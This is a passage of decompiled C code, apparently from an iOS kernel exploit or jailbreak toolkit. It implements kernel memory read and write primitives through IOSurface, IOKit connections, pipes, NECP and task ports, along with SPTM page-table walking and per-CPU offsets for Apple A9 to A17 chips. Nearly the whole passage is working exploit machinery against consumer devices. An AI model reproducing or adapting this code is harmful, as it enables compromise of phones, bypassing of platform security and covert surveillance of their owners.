        v3 = 163856;
      goto LABEL_19;
    }
    v12 = MatchingService;
    v13 = IOServiceOpen(MatchingService, mach_task_self_, 1u, &connect);
    if ( v13 )
    {
      if ( v13 <= -536870213 )
        v3 = v13 | 0x80000000;
      else
        v3 = v13 & 0xFFF | 0x70000000u;
    }
    else
    {
      v3 = 0;
    }
    v26 = kwritebuf_universal(a1, v8, &v37, 4);
    IOObjectRelease(v12);
    if ( !v26 )
      goto LABEL_72;
    if ( (uint32_t)v3 )
      goto LABEL_19;
    v15 = 0;
  }
  else
  {
    if ( *(uint64_t *)(v1 + 80) && *(uint64_t *)(v1 + 88) && *(uint64_t *)(v1 + 96) && *(uint64_t *)(v1 + 104) )
      goto LABEL_26;
    v15 = 1;
  }
  v16 = get_task_kobject_addr(a1, connect);
  if ( !v16 )
  {
    v3 = 163877;
    goto LABEL_19;
  }
  v17 = v16;
  v9 = 163855;
  if ( !kread_physmap_decorated(a1, v16 + 288, (unsigned __int64 *)&v35) )
    goto LABEL_72;
  if ( !validate_kaddr_range((__int64)a1, v35) )
    goto LABEL_46;
  v18 = kaddr_to_phys_v1((__int64)a1, v35 + 208);
  if ( !v18 )
    goto LABEL_46;
  v19 = v18;
  if ( !kread_physmap_decorated(a1, v35 + 208, (unsigned __int64 *)&v34)
    || !kread_physmap_decorated(a1, v35 + 16, (unsigned __int64 *)&v33) )
  {
    goto LABEL_72;
  }
  if ( !validate_kaddr_range((__int64)a1, v33) )
    goto LABEL_46;
  if ( !kread_physmap_decorated(a1, v33 + 16, (unsigned __int64 *)&v32) )
    goto LABEL_72;
  if ( !validate_kaddr_range((__int64)a1, v32)
    || (v20 = a1->gap19210) == 0
    || (v21 = maybe_ipc_port_get_kobject(a1, v20)) == 0
    || (v22 = krw_task_for_pid_0(a1, v21, 1)) == 0 )
  {
LABEL_46:
    v3 = 163878;
    goto LABEL_19;
  }
  v23 = v22;
  v24 = a1->xnuMajorVersion;
  if ( v24 != 8792 && v24 != 10002 && v24 != 8796 )
    goto LABEL_65;
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_A17_MASK) )
  {
    v25 = 984;
    goto LABEL_60;
  }
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_MASK) )
  {
    v25 = 960;
    goto LABEL_60;
  }
  if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A10_A11_A9_MASK) )
  {
LABEL_65:
    v3 = 163884;
    goto LABEL_19;
  }
  v25 = 936;
LABEL_60:
  if ( !kreadbuf_universal(a1, v25 + v23, 8u, &v30, 1) )
    goto LABEL_72;
  v27 = v30;
  v3 = 163857;
  if ( v30 && (v30 & 7) == 0 )
  {
    if ( (v15 & 1) != 0 )
    {
LABEL_64:
      v28 = v34;
      *(uint64_t *)(v1 + 80) = v27;
      *(uint64_t *)(v1 + 88) = v28;
      v29 = v32;
      *(uint64_t *)(v1 + 96) = v19;
      *(uint64_t *)(v1 + 104) = v29;
LABEL_26:
      v3 = 0;
      *(uint32_t *)(v1 + 112) = connect;
      *(uint8_t *)(v1 + 74) = 1;
      return v3;
    }
    v3 = vm_attr_field_offset_add4_check((__int64)a1, v23);
    if ( !(uint32_t)v3 )
    {
      v37 = v23;
      if ( !noppl_kwritebuf((__int64)a1, v35 + 80, &v37, (unsigned int)a1->stride168, 1) )
      {
LABEL_73:
        v3 = 163856;
        goto LABEL_19;
      }
      if ( kread_physmap_decorated(a1, v17 + 136, (unsigned __int64 *)&v36) )
      {
        v3 = 163878;
        if ( !validate_kaddr_range((__int64)a1, v36) )
          goto LABEL_19;
        v37 = 0;
        if ( noppl_kwritebuf((__int64)a1, v36 + 8, &v37, (unsigned int)a1->stride168, 1) )
        {
          v27 = v30;
          goto LABEL_64;
        }
        goto LABEL_73;
      }
LABEL_72:
      v3 = v9;
    }
  }
LABEL_19:
  if ( connect + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, connect);
  return v3;
}

//----- (0000000000028840) ----------------------------------------------------
bool __fastcall kread64(struct_krwCtx *a1, unsigned __int64 vaddr, unsigned __int64 *out)
{
  uint64_t v5; // x20
  unsigned __int64 v6; // x1

  v5 = kread64_internal(a1, vaddr, out);
  if ( v5 )
  {
    v6 = *out;
    if ( (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
      v6 = krw_xpac_vaddr(a1, v6);
    *out = v6;
  }
  return v5;
}

//----- (00000000000288A4) ----------------------------------------------------
bool __fastcall kwrite_physmap_with_a3_ptr(__int64 a1, unsigned __int64 a2, __int64 a3)
{
  __int64 v4; // [xsp+8h] [xbp-8h] BYREF

  v4 = a3;
  return noppl_kwritebuf(a1, a2, &v4, *(unsigned int *)(a1 + 360), 1);
}

//----- (00000000000288D4) ----------------------------------------------------
__int64 __fastcall krw_write_validation(struct_krwCtx *a1)
{
  __int64 v2; // x28
  __int64 v3; // x21
  __int64 v4; // x27
  unsigned __int64 *v5; // x0
  unsigned __int64 *v6; // x20
  void *(__cdecl *v7)(void *); // x0
  int v8; // w0
  mach_port_t v9; // w0
  unsigned int v10; // w23
  int v11; // w22
  mach_timespec_t v12; // x1
  unsigned __int64 v13; // x0
  int v14; // w8
  unsigned __int64 v15; // x9
  pthread_t *v16; // x25
  __int64 *v17; // x24
  __int64 v18; // x23
  unsigned __int64 v20; // x0
  unsigned __int64 v21; // x22
  vm_address_t v22; // x8
  __int64 v23; // x0
  __int64 v24; // x0
  int v25; // w8
  __int64 v26; // x0
  vm_size_t v27; // [xsp+0h] [xbp-180h]
  vm_address_t v28; // [xsp+8h] [xbp-178h] BYREF
  __int128 v29; // [xsp+10h] [xbp-170h] BYREF
  __int128 v30; // [xsp+20h] [xbp-160h]
  __int128 v31; // [xsp+30h] [xbp-150h]
  __int128 v32; // [xsp+40h] [xbp-140h]
  __int128 v33; // [xsp+50h] [xbp-130h]
  __int128 v34; // [xsp+60h] [xbp-120h]
  __int128 v35; // [xsp+70h] [xbp-110h]
  __int128 v36; // [xsp+80h] [xbp-100h]
  __int128 v37; // [xsp+90h] [xbp-F0h] BYREF
  __int128 v38; // [xsp+A0h] [xbp-E0h]
  __int128 v39; // [xsp+B0h] [xbp-D0h]
  __int128 v40; // [xsp+C0h] [xbp-C0h]
  __int128 v41; // [xsp+D0h] [xbp-B0h]
  __int128 v42; // [xsp+E0h] [xbp-A0h]
  __int128 v43; // [xsp+F0h] [xbp-90h]
  __int128 v44; // [xsp+100h] [xbp-80h]

  v2 = 0;
  v27 = vm_page_size;
  v28 = 0;
  v3 = 163878;
  v43 = 0u;
  v44 = 0u;
  v41 = 0u;
  v42 = 0u;
  v39 = 0u;
  v40 = 0u;
  v37 = 0u;
  v38 = 0u;
  v35 = 0u;
  v36 = 0u;
  v33 = 0u;
  v34 = 0u;
  v31 = 0u;
  v32 = 0u;
  v4 = 163848;
  v29 = 0u;
  v30 = 0u;
  while ( 1 )
  {
    v5 = (unsigned __int64 *)calloc(1u, 0x78u);
    *((uint64_t *)&v29 + v2) = v5;
    if ( !v5 )
    {
      v4 = 708617;
LABEL_20:
      v6 = 0;
      goto LABEL_22;
    }
    v6 = v5;
    v7 = (void *(__cdecl *)(void *))nullsub_1(ulock_wait_loop);
    v8 = pthread_create((pthread_t *)&v37 + v2, 0, v7, v6);
    if ( v8 )
    {
      v6 = 0;
      if ( v8 >= 0 )
        v14 = v8;
      else
        v14 = -v8;
      v4 = v14 | 0x40000000u;
      goto LABEL_22;
    }
    v9 = pthread_mach_thread_np(*((pthread_t *)&v37 + v2));
    if ( v9 + 1 < 2 )
      goto LABEL_20;
    v10 = v9;
    *((uint32_t *)v6 + 12) = v9;
    if ( !*((uint8_t *)v6 + 73) )
      break;
LABEL_9:
    v13 = get_task_kobject_addr(a1, v10);
    if ( !v13 )
    {
      v4 = 163878;
      goto LABEL_20;
    }
    if ( (((v13 + 1520) ^ v13) & ~a1->pageMask) == 0 )
    {
      v4 = 0;
      v15 = *((uint64_t *)&v37 + v2);
      *((uint64_t *)&v29 + v2) = 0;
      *((uint64_t *)&v37 + v2) = 0;
      LODWORD(v2) = v2 + 1;
      *v6 = v13;
      v6[5] = v15;
      goto LABEL_22;
    }
    if ( ++v2 == 16 )
    {
      v6 = 0;
      v4 = 708625;
      goto LABEL_23;
    }
  }
  v11 = 1002;
  while ( --v11 )
  {
    v12 = IDA_MACH_TIMESPEC(0xF424000000000ULL);
    semaphore_timedwait(a1->semaphore, v12);
    if ( *((uint8_t *)v6 + 73) )
      goto LABEL_9;
  }
  v6 = 0;
  v4 = 4097;
LABEL_22:
  if ( (int)v2 <= 0 )
    goto LABEL_29;
LABEL_23:
  v16 = (pthread_t *)&v37;
  v17 = (__int64 *)&v29;
  v2 = (unsigned int)v2;
  do
  {
    v18 = *v17;
    if ( *v17 && (unsigned int)(*(uint32_t *)(v18 + 48) + 1) >= 2 && *v16 )
    {
      *(uint8_t *)(v18 + 72) = 1;
      __ulock_wake(0x201u, (void *)(v18 + 52), *(unsigned int *)(v18 + 48));
      pthread_join(*v16, 0);
      *v16 = 0;
      free((void *)v18);
      *v17 = 0;
    }
    ++v16;
    ++v17;
    --v2;
  }
  while ( v2 );
LABEL_29:
  if ( (uint32_t)v4 )
    return v4;
  a1->IOKitConnInfo = (uint64_t)v6;
  if ( !v6 )
    return 708609;
  v20 = find_sptm_pgtable_state_block((__int64)a1, *v6, 1);
  v6[1] = v20;
  if ( v20 )
  {
    v21 = *v6;
    v3 = physmap_maybe((__int64)a1, &v28, v27, v20);
    if ( !(uint32_t)v3 )
    {
      v22 = v28;
      v6[2] = v28;
      v6[3] = v27;
      v6[4] = (a1->pageMask & v21) + v22;
      v3 = init_pgtable_walk_ctx((__int64)a1, 0);
      if ( !(uint32_t)v3 )
      {
        v23 = a1->gap1921[2];
        v3 = 708609;
        if ( v23 )
        {
          uint64_t text_range[3];
          uint64_t scan_range[3];

          macho_find_text_section(v23, text_range);
          scan_range[0] = text_range[0];
          scan_range[1] = text_range[1] + text_range[2] - 0x20000;
          scan_range[2] = 0x20000;
          v24 = kernel_pattern_scan((__int64)scan_range, "E8 0B 80 52", 0);
          if ( !v24 )
            return 708625;
          v25 = (unsigned __int16)((unsigned int)macho_read_u32((__int64 *)text_range[0], (__int64 *)(v24 - 8)) >> 5);
          if ( (unsigned int)(v25 - 1) >= 0xBFF )
            return 163857;
          *((uint32_t *)v6 + 14) = v25;
          if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(10002, 60, 75, 0, 3) || (a1->flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) == 0 )
          {
            if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK) )
            {
              v26 = port_table_lookup_v1((int *)a1, v6[4], 1, 1, 96);
LABEL_47:
              v3 = v26;
              if ( (uint32_t)v26 )
                return v3;
            }
            return 0;
          }
          v26 = map_physpage_with_ports(a1, v6[1], 1, 1, 96);
          goto LABEL_47;
        }
      }
    }
  }
  return v3;
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (0000000000028CE0) ----------------------------------------------------
unsigned __int64 __fastcall find_sptm_pgtable_state_block(__int64 a1, unsigned __int64 a2, __int64 a3)
{
  int v5; // w0
  struct
  {
    __int128 v7[2];
    __int64 v8;
  } out; // [xsp+0h] [xbp-50h] BYREF

  memset(&out, 0, sizeof(out));
  v5 = pgtable_walk_full(a1, a2, (__int64)&out, a3).n128_u64[0];
  if ( v5 )
    return *(uint64_t *)(a1 + 392) & a2 | out.v8 & 0xFFFFFFFFC000LL;
  else
    return 0;
}

//----- (0000000000028D44) ----------------------------------------------------
__int64 __fastcall teardown_sptm_pgtable_state(__int64 a1)
{
  __int64 v1; // x21
  uint64_t *v2; // x19
  vm_address_t v4; // x1
  vm_size_t v5; // x2

  v1 = 708609;
  v2 = *(uint64_t **)(a1 + 7496);
  if ( v2 )
  {
    v4 = v2[2];
    if ( !v4
      || (v5 = v2[3]) == 0
      || (vm_deallocate(mach_task_self_, v4, v5), v2[2] = 0, v2[3] = 0, (v2 = *(uint64_t **)(a1 + 7496)) != 0) )
    {
      *(uint64_t *)(a1 + 7496) = 0;
      *((uint8_t *)v2 + 72) = 1;
      __ulock_wake(0x201u, (void *)((char *)v2 + 52), *((unsigned int *)v2 + 12));
      pthread_join((pthread_t)v2[5], 0);
      *(__int128 *)v2 = 0u;
      *((__int128 *)v2 + 1) = 0u;
      *((__int128 *)v2 + 2) = 0u;
      *((__int128 *)v2 + 3) = 0u;
      *((__int128 *)v2 + 4) = 0u;
      *((__int128 *)v2 + 5) = 0u;
      *((__int128 *)v2 + 6) = 0u;
      v2[14] = 0;
      free(v2);
      return 0;
    }
  }
  return v1;
}

//----- (0000000000028DFC) ----------------------------------------------------
bool __fastcall noppl_kwrite32(__int64 a1, mach_vm_address_t address, int a3)
{
  __int64 (__fastcall *v5)(__int64, mach_vm_address_t, int *, __int64, __int64); // x8
  int v6; // w0
  kern_return_t v7; // w21
  vm_map_t v9; // w0
  int v10; // [xsp+8h] [xbp-28h] BYREF
  vm_machine_attribute_val_t value; // [xsp+Ch] [xbp-24h] BYREF

  v10 = a3;
  v5 = *(__int64 (__fastcall **)(__int64, mach_vm_address_t, int *, __int64, __int64))(a1 + 64);
  if ( v5 )
  {
    v6 = v5(a1, address, &v10, 4, 1);
    goto LABEL_3;
  }
  if ( (unsigned int)(*(uint32_t *)(a1 + 172) + 1) >= 2 && *(uint64_t *)(a1 + 216) )
  {
    v6 = iosurface_physmap_kwrite((struct_krwCtx *)a1, address, (__int64)&v10, 4u, 1);
  }
  else if ( (unsigned int)(*(uint32_t *)(a1 + 232) + 1) >= 2 && *(uint64_t *)(a1 + 248) && *(uint64_t *)(a1 + 256) )
  {
    v6 = ioconnect_callmethod_write(a1, address, (__int64)&v10, 4u, 1);
  }
  else
  {
    if ( *(uint32_t *)(a1 + 6448) == -1 || *(uint32_t *)(a1 + 6452) == -1 )
      goto LABEL_22;
    if ( *(uint32_t *)(a1 + 6464) != -1 && *(uint64_t *)(a1 + 536) )
    {
      v6 = necp_ioconnect_krw(a1, address, (__int64)&v10, 4u, 1);
      goto LABEL_3;
    }
    if ( *(uint32_t *)(a1 + 6456) == -1 || *(uint32_t *)(a1 + 6460) == -1 )
    {
LABEL_22:
      v7 = mach_vm_write(*(uint32_t *)(a1 + 6424), address, (vm_offset_t)&v10, 4u);
      v9 = *(uint32_t *)(a1 + 6424);
      value = 7;
      mach_vm_machine_attribute(v9, address, 4u, 1u, &value);
      return v7 == 0;
    }
    v6 = pipe_pair_krw((struct_krwCtx *)a1, address, &v10, 4u, 1);
  }
LABEL_3:
  if ( v6 )
    v7 = 5;
  else
    v7 = 0;
  return v7 == 0;
}

//----- (0000000000028F90) ----------------------------------------------------
__int64 __fastcall iosurface_physmap_kwrite(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5)
{
  __int64 v5; // x25
  uint64_t IOKitConnInfo; // x8
  unsigned int v8; // w26
  unsigned int v12; // w24
  __int64 v13; // x8
  __int64 v14; // x21
  unsigned __int64 v15; // x23
  __int64 v16; // x0
  size_t v17; // x2
  __int64 v18; // x25
  unsigned int v19; // w28
  unsigned __int64 v20; // x19
  unsigned __int64 v21; // x8
  __int64 v22; // x20
  unsigned int v23; // w21
  unsigned __int64 v24; // x24
  __int64 v25; // x0
  size_t v26; // x2
  int v27; // w19
  int v28; // w23
  vm_size_t v29; // x20
  __int64 v30; // x21
  uint64_t v31; // x26
  int v32; // w9
  __int64 v33; // x8
  __int64 v34; // x9
  __int64 v35; // x19
  __int64 *v36; // x27
  int v37; // w20
  unsigned __int64 v38; // x1
  __int64 v39; // x0
  __int64 paddr; // x0
  __int64 v41; // x19
  vm_address_t v42; // x8
  int v43; // w9
  bool v44; // zf
  __int64 v45; // x0
  __int64 v46; // x0
  int v47; // w8
  __int64 v48; // x19
  int v49; // w8
  unsigned int v50; // w8
  unsigned int v51; // w20
  __int64 v52; // x0
  __int64 v53; // x0
  int v54; // w0
  vm_size_t v56; // [xsp+8h] [xbp-B8h]
  unsigned __int64 v57; // [xsp+10h] [xbp-B0h]
  __int64 v58; // [xsp+18h] [xbp-A8h]
  unsigned int v59; // [xsp+24h] [xbp-9Ch]
  unsigned __int64 v60; // [xsp+28h] [xbp-98h]
  unsigned __int64 v61; // [xsp+30h] [xbp-90h]
  unsigned int v62; // [xsp+38h] [xbp-88h]
  int v63; // [xsp+40h] [xbp-80h] BYREF
  int v64; // [xsp+44h] [xbp-7Ch] BYREF
  int v65; // [xsp+48h] [xbp-78h] BYREF
  int v66; // [xsp+4Ch] [xbp-74h] BYREF
  unsigned __int64 v67; // [xsp+50h] [xbp-70h] BYREF
  __int64 v68; // [xsp+58h] [xbp-68h] BYREF
  vm_address_t address; // [xsp+60h] [xbp-60h] BYREF
  unsigned __int64 v70; // [xsp+68h] [xbp-58h] BYREF

  v5 = 708609;
  IOKitConnInfo = a1->IOKitConnInfo;
  if ( !IOKitConnInfo )
  {
    TRACE_PORTS("iosurface_physmap_kwrite no state ctx=%llx addr=%llx size=%u\n",
                (unsigned long long)a1,
                (unsigned long long)a2,
                a4);
    return v5;
  }
  TRACE_PORTS("iosurface_physmap_kwrite enter ctx=%llx addr=%llx buf=%llx size=%u a5=%d state=%llx flags=%x byte4a=%u thread=%d ptr=%llx\n",
              (unsigned long long)a1,
              (unsigned long long)a2,
              (unsigned long long)a3,
              a4,
              a5,
              (unsigned long long)IOKitConnInfo,
              a1->flags,
              *(unsigned __int8 *)(IOKitConnInfo + 74),
              a1->threadForKernelRead,
              (unsigned long long)*(uint64_t *)&a1->gap42[40]);
  v8 = a4;
  if ( ((a2 & 3) != 0 || a4 != 4) && *(uint8_t *)(IOKitConnInfo + 74) )
  {
    if ( a1->threadForKernelRead + 1 >= 2 )
    {
      if ( *(uint64_t *)&a1->gap42[40] )
      {
        if ( check_kaddr_in_physmap(a1, a2) )
        {
          LODWORD(address) = -1;
          if ( !a5 || (v5 = fd_open_dev_null((int *)&address), !(uint32_t)v5) )
          {
            if ( v8 )
            {
              v12 = 0;
              while ( 1 )
              {
                v70 = 0;
                v13 = a2 + v12;
                v14 = v13 & 7;
                v15 = v13 - v14;
                v16 = kreadbuf_via_dev_null_and_thread_state(a1, v13 - v14, (__int64)&v70, 8u, 0);
                if ( (uint32_t)v16 )
                {
                  TRACE_PORTS("iosurface_physmap_kwrite unaligned read failed raw=%x aligned=%llx off=%llx\n",
                              (unsigned int)v16,
                              (unsigned long long)v15,
                              (unsigned long long)v14);
                  break;
                }
                v17 = 8 - v14 >= (unsigned __int64)(v8 - v12) ? v8 - v12 : 8 - v14;
                v18 = v70;
                memcpy((void *)((unsigned __int64)&v70 | v14), (const void *)(a3 + v12), v17);
                if ( v18 != v70 )
                {
                  v16 = ioconnect_struct_method_kwrite(a1, v15, v70);
                  if ( (uint32_t)v16 )
                  {
                    TRACE_PORTS("iosurface_physmap_kwrite unaligned write failed raw=%x aligned=%llx value=%llx\n",
                                (unsigned int)v16,
                                (unsigned long long)v15,
                                (unsigned long long)v70);
                    break;
                  }
                }
                v12 = v12 - v14 + 8;
                if ( v12 >= v8 )
                  goto LABEL_19;
              }
              v5 = v16;
            }
            else
            {
LABEL_19:
              v5 = 0;
            }
            v54 = address;
            goto LABEL_100;
          }
        }
      }
    }
    return v5;
  }
  if ( !check_kaddr_in_physmap(a1, a2) )
  {
    TRACE_PORTS("iosurface_physmap_kwrite validate failed addr=%llx\n", (unsigned long long)a2);
    return v5;
  }
  v64 = -1;
  if ( a5 )
  {
    v5 = fd_open_dev_null(&v64);
    if ( (uint32_t)v5 )
      return v5;
  }
  if ( !v8 )
    goto LABEL_97;
  v61 = a2;
  v19 = 0;
  v59 = v8;
  v58 = a3;
LABEL_25:
  v20 = v8 - v19;
  v63 = 0;
  v21 = v61 + v19;
  if ( (unsigned int)v20 >= 4 )
  {
    v23 = 0;
    v22 = v19;
  }
  else
  {
    v22 = v19;
    if ( (((v21 + (unsigned int)v20 - 1) ^ (v21 + 3)) & ~a1->pageMask) != 0 )
      v23 = 4 - v20;
    else
      v23 = 0;
  }
  v24 = v21 - v23;
  v25 = kreadbuf_via_dev_null_and_thread_state(a1, v24, (__int64)&v63, 4u, 0);
  if ( !(uint32_t)v25 )
  {
    if ( 4 - (unsigned __int64)v23 >= v20 )
      v26 = v8 - v19;
    else
      v26 = 4LL - v23;
    v27 = v63;
    memcpy((char *)&v63 + v23, (const void *)(a3 + v22), v26);
    v28 = v63;
    v62 = v23;
    if ( v27 == v63 )
      goto LABEL_72;
    TRACE_PORTS("iosurface_physmap_kwrite aligned chunk addr=%llx base=%llx old=%x new=%x off=%u left=%llu\n",
                (unsigned long long)v21,
                (unsigned long long)v24,
                v27,
                v63,
                v23,
                (unsigned long long)v20);
    v70 = v24;
    address = 0;
    v29 = vm_page_size;
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A17) )
    {
      v30 = 224;
    }
    else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK) )
    {
      v30 = 144;
    }
    else
    {
      v30 = 216;
    }
    v31 = a1->IOKitConnInfo;
    v5 = 708609;
    if ( !v31 )
    {
      TRACE_PORTS("iosurface_physmap_kwrite missing IOKitConnInfo during chunk\n");
      goto LABEL_66;
    }
    v32 = *(uint32_t *)(v31 + 56);
    v5 = 708609;
    if ( !v32 )
    {
      TRACE_PORTS("iosurface_physmap_kwrite missing state[56]\n");
      goto LABEL_66;
    }
    v33 = *(uint64_t *)(v31 + 8);
    v5 = 708609;
    if ( !v33 )
    {
      TRACE_PORTS("iosurface_physmap_kwrite missing state[8]\n");
      goto LABEL_66;
    }
    v34 = (unsigned int)(v32 + 96);
    v35 = *(uint64_t *)(v31 + 32);
    v60 = v33 + v34;
    v56 = v29;
    v57 = v33 + v30;
    v36 = (__int64 *)(v35 + v34);
    v37 = 11;
    while ( 1 )
    {
      if ( v37 != 11 )
        thread_switch(*(uint32_t *)(v31 + 48), 2, 0xAu);
      if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(10002, 60, 75, 0, 2) && (a1->flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
      {
        v68 = 0;
        v39 = read_via_mapped_physmem_region((__int64)a1, v60, &v68, a1->stride168, 0);
        if ( (uint32_t)v39 )
          goto LABEL_64;
        if ( !validate_kaddr_range((__int64)a1, v68) )
          goto LABEL_55;
        v67 = 0;
        v39 = read_via_mapped_physmem_region((__int64)a1, v57, &v67, a1->stride168, 0);
        if ( (uint32_t)v39 )
        {
LABEL_64:
          v5 = v39;
          goto LABEL_65;
        }
        v38 = v67;
      }
      else
      {
        v68 = *v36;
        if ( !validate_kaddr_range((__int64)a1, v68) )
          goto LABEL_55;
        v38 = *(uint64_t *)(v35 + v30);
        v67 = v38;
      }
      if ( v38 == v68 )
      {
        paddr = find_sptm_pgtable_state_block((__int64)a1, v38, 0);
        v29 = v56;
        if ( !paddr )
        {
          v5 = 163878;
          goto LABEL_66;
        }
        v41 = paddr;
        if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(10002, 60, 75, 0, 2) && (a1->flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
        {
          v45 = read_via_mapped_physmem_region((__int64)a1, paddr + 52, &v65, 4u, 0);
          v5 = v45;
          if ( (uint32_t)v45 )
            goto LABEL_66;
          v5 = 163857;
          if ( v65 != 1 )
            goto LABEL_66;
          if ( v28 )
          {
            v65 = v28 + 1;
            v46 = physwritebuf_direct_mapped(a1, v41 + 52, &v65, 4u, 0);
            v5 = v46;
            if ( (uint32_t)v46 )
              goto LABEL_66;
            v47 = 1;
          }
          else
          {
            v47 = 2;
          }
          v66 = v47;
          v52 = physwritebuf_direct_mapped(a1, v41 + 56, &v66, 4u, 0);
          v5 = v52;
          if ( !(uint32_t)v52 )
          {
            v53 = physwritebuf_direct_mapped(a1, v60 + 24, &v70, a1->stride168, 0);
            v5 = v53;
            if ( !(uint32_t)v53 )
            {
LABEL_82:
              v48 = *(uint64_t *)(v31 + 64);
              if ( (unsigned int)__ulock_wake(0x201u, (void *)(v31 + 52), *(unsigned int *)(v31 + 48)) )
              {
                v49 = errno;
                if ( v49 < 0 )
                  v49 = -v49;
                v5 = v49 | 0x40000000u;
              }
              else if ( v48 == *(uint64_t *)(v31 + 64) )
              {
                v50 = 0;
                while ( v50 != 1001 )
                {
                  v51 = v50 + 1;
                  thread_switch(*(uint32_t *)(v31 + 48), 2, v50 > 8);
                  v5 = 0;
                  v50 = v51;
                  v29 = v56;
                  if ( v48 != *(uint64_t *)(v31 + 64) )
                    goto LABEL_66;
                }
                v5 = 4097;
              }
              else
              {
                v5 = 0;
              }
            }
          }
        }
        else
        {
          v5 = physmap_maybe((__int64)a1, &address, v56, paddr);
          if ( !(uint32_t)v5 )
          {
            v42 = (a1->pageMask & v68) + address;
            v65 = *(uint32_t *)(v42 + 52);
            v5 = 163857;
            if ( v65 == 1 )
            {
              if ( v28 )
              {
                *(uint32_t *)(v42 + 52) = v28 + 1;
                v43 = 1;
              }
              else
              {
                v43 = 2;
              }
              v66 = v43;
              *(uint32_t *)(v42 + 56) = v43;
              v36[3] = v24;
              goto LABEL_82;
            }
          }
        }
LABEL_66:
        TRACE_PORTS("iosurface_physmap_kwrite chunk cleanup err=%llx addr=%llx physmap=%llx\n",
                    (unsigned long long)v5,
                    (unsigned long long)v24,
                    (unsigned long long)address);
        if ( address )
          v44 = v29 == 0;
        else
          v44 = 1;
        if ( !v44 )
          vm_deallocate(mach_task_self_, address, v29);
        v8 = v59;
        a3 = v58;
        if ( (uint32_t)v5 )
          goto LABEL_99;
LABEL_72:
        v19 = v19 - v62 + 4;
        if ( v19 >= v8 )
        {
LABEL_97:
          v5 = 0;
          goto LABEL_99;
        }
        goto LABEL_25;
      }
LABEL_55:
      if ( !--v37 )
      {
        v5 = 163878;
LABEL_65:
        v29 = v56;
        goto LABEL_66;
      }
    }
  }
  v5 = v25;
  TRACE_PORTS("iosurface_physmap_kwrite pre-read failed raw=%llx addr=%llx base=%llx\n",
              (unsigned long long)v5,
              (unsigned long long)v21,
              (unsigned long long)v24);
LABEL_99:
  v54 = v64;
LABEL_100:
  if ( v54 != -1 )
    fd_close(v54);
  TRACE_PORTS("iosurface_physmap_kwrite exit raw=%llx\n", (unsigned long long)v5);
  return v5;
}
// 292C0: variable 'v39' is possibly undefined
// 2942C: variable 'v45' is possibly undefined
// 2946C: variable 'v46' is possibly undefined
// 29530: variable 'v52' is possibly undefined
// 29554: variable 'v53' is possibly undefined

//----- (00000000000295B4) ----------------------------------------------------
bool __fastcall kread_u32(__int64 krwCtx, unsigned __int64 vaddr, void *outBuf)
{
  __int64 (__fastcall *v3)(__int64, unsigned __int64, void *, unsigned int, __int64); // x8
  int v4; // w0
  int v5; // w0
  __int64 v7; // [xsp+8h] [xbp-8h] BYREF

  v3 = *(__int64 (__fastcall **)(__int64, unsigned __int64, void *, unsigned int, __int64))(krwCtx + 48);
  if ( v3 )
  {
    v4 = v3(krwCtx, vaddr, outBuf, 4, 1);
    goto LABEL_3;
  }
  if ( (unsigned int)(*(uint32_t *)(krwCtx + 172) + 1) >= 2 && *(uint64_t *)(krwCtx + 216) )
  {
    v4 = kreadbuf_via_dev_null_and_thread_state((struct_krwCtx *)krwCtx, vaddr, (__int64)outBuf, 4u, 1);
  }
  else if ( (unsigned int)(*(uint32_t *)(krwCtx + 232) + 1) >= 2 && *(uint64_t *)(krwCtx + 248) && *(uint64_t *)(krwCtx + 256) )
  {
    v4 = kreadbuf_via_IOConnectCallMethod(krwCtx, vaddr, (__int64)outBuf, 4u, 1);
  }
  else
  {
    if ( *(uint32_t *)(krwCtx + 6448) == -1 || *(uint32_t *)(krwCtx + 6452) == -1 )
      goto LABEL_22;
    if ( *(uint32_t *)(krwCtx + 6464) != -1 && *(uint64_t *)(krwCtx + 536) )
    {
      v4 = kreadbuf_via_dev_null_only(krwCtx, vaddr, (__int64)outBuf, 4u, 1);
      goto LABEL_3;
    }
    if ( *(uint32_t *)(krwCtx + 6456) == -1 || *(uint32_t *)(krwCtx + 6460) == -1 )
    {
LABEL_22:
      v5 = kreadbuf_via_tfp0(
             *(uint32_t *)(krwCtx + 6424),
             vaddr,
             4u,
             *(unsigned int *)(krwCtx + 376),
             (__int64)outBuf,
             &v7);
      return v5 == 0;
    }
    v4 = kreadbuf_via_dev_null_simple((struct_krwCtx *)krwCtx, vaddr, outBuf, 4u, 1);
  }
LABEL_3:
  if ( v4 )
    v5 = 5;
  else
    v5 = 0;
  return v5 == 0;
}

//----- (00000000000296E8) ----------------------------------------------------
__int64 __fastcall kreadbuf_via_dev_null_and_thread_state(
        struct_krwCtx *krwCtx,
        unsigned __int64 vaddr,
        __int64 outBuf,
        unsigned int size,
        int a5)
{
  __int64 v5; // x28
  unsigned __int64 vaddr_; // x22
  unsigned int iMaybe; // w8
  unsigned __int32 sizeMinusI; // w19
  __int64 iPtr; // x26
  unsigned __int64 xnuVersionPacked; // x8
  int v16; // w9
  unsigned __int32 v17; // w8
  unsigned __int32 v18[2]; // x24
  unsigned __int64 v19; // x20
  __int64 v20; // x8
  size_t offIGuess; // x26
  unsigned __int64 v22; // x21
  void *outBufWithOffAndOff; // x27
  unsigned __int64 v24; // x22
  uint64_t v25; // x8
  __int64 v26; // x9
  unsigned __int64 v27; // x8
  unsigned __int64 v28; // x19
  __int64 v29; // x25
  kern_return_t v30; // w0
  uint64_t pageMask; // x25
  __int64 v32; // x19
  __int64 v33; // x25
